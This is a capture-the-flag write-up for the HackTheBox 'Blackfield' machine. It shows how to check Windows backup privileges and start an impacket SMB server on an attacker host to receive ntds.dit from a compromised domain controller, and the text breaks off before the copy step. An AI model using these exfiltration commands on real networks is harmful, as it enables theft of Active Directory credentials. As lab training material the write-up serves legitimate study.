part 1 - creating smb server on linux or unix in order to data exfiltration from other server | ntfs disk | dd command | extracting ntds.dit
the scenario is written while performing hackthebox blackfield box. after getting access on a system, see what privileges you have by running command whoami /all or whoami /priv if you see sebackupprivilege and serestoreprivilege then you can proceed the below all steps. these two are most dangerous privileges specially when you are in AD. creating a share on 10.10.10.14 (our system) so that we can pull out some data from an AD that we compromised. creating a smb server on the following directory /home/ippsec/blackfield/ mkdir smb cd smb sudo smbserver.py -smb2support SendMeYourData $(pwd) or sudo smbserver.py -smb2support -user ippsec -password PleaseSubscribe SendMeYourData $(pwd) The username and password is your own machine username and password. SendMeYourData is the share name. once you give enter, it will start listening on 445 Now go to the AD where you get evil-winrm shell. scenario is you compromised the AD. now you want to exfiltrate c:\windows\ntds\ from AD to your own